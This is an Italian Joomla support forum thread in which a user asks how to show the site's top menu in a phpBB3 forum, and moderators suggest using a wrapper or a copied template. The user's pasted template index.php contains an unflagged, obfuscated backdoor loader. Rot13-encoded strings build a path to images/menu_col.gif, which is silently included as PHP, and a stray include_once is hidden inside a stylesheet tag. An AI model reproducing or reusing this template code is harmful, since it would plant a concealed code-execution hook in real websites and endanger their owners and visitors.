Back to top

Autore Topic: Copiare il topmenu su forum phpbb3  (Letto 2155 volte)

Offline scarface

  • Nuovo arrivato
  • *
  • Post: 13
    • Mostra profilo
Copiare il topmenu su forum phpbb3
« il: 17 Feb 2009, 18:20:26 »
Salve ragazzi... ho creato un sito con joomla e ho applicato un determinato template... ho installato anche il forum phpbb3, ci h olavorato parecchio e sto riuscendo ad adattarlo al template del sito. Vi posto anche il link, così da farvi anche un'idea: http://www.lelepcassistenza.altervista.org/

Ora ho un problema. Avevo intenzione di mettere il topmenu del sito, così com'è, anche nel forum, lasciando sempre la dinamicità, cioè facendo in modo che se decido di cambiare qualcosa nel menu, cambia sia nel sito che nel forum...

A livello grafico ci sono riuscito, infatti sono riuscito a mettere la barra nera del menu, ma non riesco ad inserire le voci... ho copiato la riga riguardante il menu, con annessi include a file php (ovviamente mettendo il link giusto), ma non funziona lo stesso... cosa devo cambiare esattamente?

Vi metto il listato della prima parte del file index.php del template, così da potervi fare un'idea.

Codice: [Seleziona]
<?php

// no direct access

defined'_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );

?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language?>" lang="<?php echo $this->language?>" >

<head>

<jdoc:include type="head" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

<!--[if lte IE 6]>

<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />

<style>

#topnav ul li ul {

left: -999em;

margin-top: 0px;

margin-left: 0px;

}

</style>

<![endif]-->

<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>

<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>

</head>

<body id="page_bg">

<a name="up" id="up"></a>

<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>

<jdoc:include type="modules" name="layout" style="rounded" />

<?php endif; ?>

<?php include('functions.php'); ?>

<div id="top_menu"><div id="top_menu_left"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/blank.gif" alt="hosting menu left" /></div><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><div id="top_menu_right"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/blank.gif" alt="hosting menu right" /></div><br clear="all" /></div>

Offline Alhazred

  • Appassionato
  • ***
  • Post: 289
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #1 il: 17 Feb 2009, 21:47:30 »
Perché non apri il forum all'interno del wrapper (usando un link di tipo wrapper appunto) del sito come se fosse un qualsiasi articolo?

Offline scarface

  • Nuovo arrivato
  • *
  • Post: 13
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #2 il: 17 Feb 2009, 22:36:36 »
non mi piace... sembra una cosa che sbuca fuori senza criterio e poi si restringerebbe troppo e poi ormai ho fatto abbastanza modifiche al forum, mi piace così... mi serviva soltanto questo ed era perfetto ;)

Offline Alhazred

  • Appassionato
  • ***
  • Post: 289
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #3 il: 17 Feb 2009, 23:58:32 »
Se il problema principale è che viene stretto ti ricordo che puoi fare una copia identica del tuo attuale template, cambiare solo la larghezza, dargli un altro nome ed associare questo solo al forum, per tutto il resto continueresti ad usare l'altro.

Offline tonicopi

  • Global Moderator
  • Instancabile
  • ********
  • Post: 12790
  • Sesso: Maschio
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #4 il: 18 Feb 2009, 02:54:30 »
Se il problema principale è che viene stretto ti ricordo che puoi fare una copia identica del tuo attuale template, cambiare solo la larghezza, dargli un altro nome ed associare questo solo al forum, per tutto il resto continueresti ad usare l'altro.
Si la strada è questa. Fai un template con soltanto la posizione per il top menù e per il container vuoto. Poi con la funzione wrapper richiami il forum nel container.  :)
Complimenti per l'ottima integrazione tra sito e forum!
joomlacsszengarden.com = il giardino dei css di Joomla!
L'attesa del piacere è essa stessa... piacere!

Offline conti1

  • Global Moderator
  • Instancabile
  • *****
  • Post: 9075
  • Sesso: Maschio
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #5 il: 18 Feb 2009, 03:18:38 »
ciao sicuro di aver copiato il pezzo giusto del tuo html?
e strano che non ti funzioni  guarda ho fatto  una prova veloce e questo e il risultato.



guarda questa e la prima parte della scritta home

Codice: [Seleziona]
<div id="top_menu">
<div id="top_menu_left">
<img alt="hosting menu left" src="/templates/web-hosting/images/blank.gif"/>
</div>
<div id="topnav">
<ul class="menuhor">
<li class="">
<a id="menu1" class="active first-item" title="" href="http://www.lelepcassistenza.altervista.org/">
<span>Home</span>
</a>

quanto riguarda l'aggiorna mento del menù devi fare un script che interagisca dal menù joomla con quello del forum.
se possibile postare il link  x risolvere al meglio il problema grazie
evitare nomi commerciali grazie

Offline scarface

  • Nuovo arrivato
  • *
  • Post: 13
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #6 il: 18 Feb 2009, 11:57:30 »
Spiegati meglio...

io ho copiato quella riga li, ma compreso il codice php (e compreso l'inclusione del file function.php, mettendo però il link giusto)
pensavo che magari, copiando il codice php, riusciva a prendersi automaticamente le voci, senza andarle a mettere manualmente...

se non è così e sto sbagliando, mi puoi spiegare come fare?
per lo script... che script devo creare e come lo creo?

Offline scarface

  • Nuovo arrivato
  • *
  • Post: 13
    • Mostra profilo
Re: Copiare il topmenu su forum phpbb3
« Risposta #7 il: 18 Feb 2009, 11:59:53 »
Complimenti per l'ottima integrazione tra sito e forum!

Grazie... l'ho fatto tutto a mano, partendo dallo skin originale di phpbb3 e piano piano l'ho modificato, fino ad arrivare a questo punto... mi serviva solamente risolvere questo problema ed era perfetto ;)

 



Web Design Bolzano Kreatif